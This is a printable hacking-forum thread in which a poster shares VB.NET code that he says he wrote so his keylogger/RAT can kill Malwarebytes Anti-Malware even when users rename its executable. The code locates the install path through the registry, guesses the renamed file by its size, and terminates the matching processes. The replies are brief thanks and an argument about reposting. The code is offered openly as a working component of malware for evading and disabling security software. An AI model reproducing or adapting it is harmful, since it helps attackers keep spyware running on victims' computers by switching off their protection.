Hack Forums
[.NET] [Code] Anti-Malwarebytes' Anti-Malware [VB.NET][When Renamed] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [Code] Anti-Malwarebytes' Anti-Malware [VB.NET][When Renamed] (/showthread.php?tid=991275)



[Code] Anti-Malwarebytes' Anti-Malware [VB.NET][When Renamed] - The-One - Jan 20, 2011

Hello,

I was expiering many trouble with my keylogger/RAT, some 'smart' users change their MBAM's .exe name, in that way my keylogger/RAT could't kill it, now, I wrote a code to receive the new .exe name, you can do it allot shorter (With the x64/x32 part), but it runs at startup and you only have to run it once, so who cares?

Code
Imports Microsoft.Win32
Imports System.Management
Imports System.IO
Public Class Form1
    Dim MBAM_FileName As String = ""
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Setup_MalwarebytesAntiMalware()
    End Sub
    Public Sub Setup_MalwarebytesAntiMalware()
        If File.Exists(MBAM_Path() & "/mbam.exe") Then
            MBAM_FileName = "mbam"
            Exit Sub
        End If
        Dim dir As New DirectoryInfo(MBAM_Path)
        Dim arr As FileInfo() = dir.GetFiles()
        For Each FileInfo In arr
            If FileInfo.Length / 1024 >= 900 Then
                'Filename has been changed.
                If FileInfo.Extension = ".exe" Then
                    MBAM_FileName = FileInfo.Name.Replace(".exe", Nothing)
                    Exit For
                End If
            End If
        Next
    End Sub
    Public Function MBAM_Path() As String
        'Anti Malwarebytes' Anti-Malware
        Dim bit_ver As String = Get_Bit()
        Dim path As String = ""
        Select Case bit_ver
            Case "32"
                Dim key32 As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Malwarebytes' Anti-Malware", True) 'x32
                path = key32.GetValue("InstallPath")
                Exit Select
            Case "64"
                Dim key64 As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Wow6432Node\Malwarebytes' Anti-Malware", True) 'x64
                path = key64.GetValue("InstallPath")
                Exit Select
        End Select
        Return path
    End Function
    Public Function Get_Bit() As String
        Dim mc As New ManagementClass("win32_processor")
        Dim moc As ManagementObjectCollection = mc.GetInstances()
        Dim str As String = ""
        For Each mo As ManagementObject In moc
            str = mo.Properties("AddressWidth").Value.ToString() '32 = x32 | 64 = x64
            Exit For
        Next
        Return str
    End Function

    Public Sub Antis()
        For Each p As Process In Process.GetProcesses()
            If p.ProcessName.Contains(MBAM_FileName) Then
                p.Kill()
            End If
        Next
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Antis()
    End Sub
End Class



* - xCocaine - Jan 20, 2011

Thanks for the code, i don't need it but nice share :)


* - The-One - Jan 20, 2011

(Jan 20, 2011 09:49 AM)☣ 1337 ☣ Wrote:  This was realese in the HF 1337/UB3R forum reported.
https://hackforums.net/showthread.php?tid=803573

I just wrote it 10 minutes ago, fk off.

EDIT: LOL you even know what coding is?


* - Dawncore - Jan 20, 2011

Shit, sorry I mis-read the title.

Fail on my behalf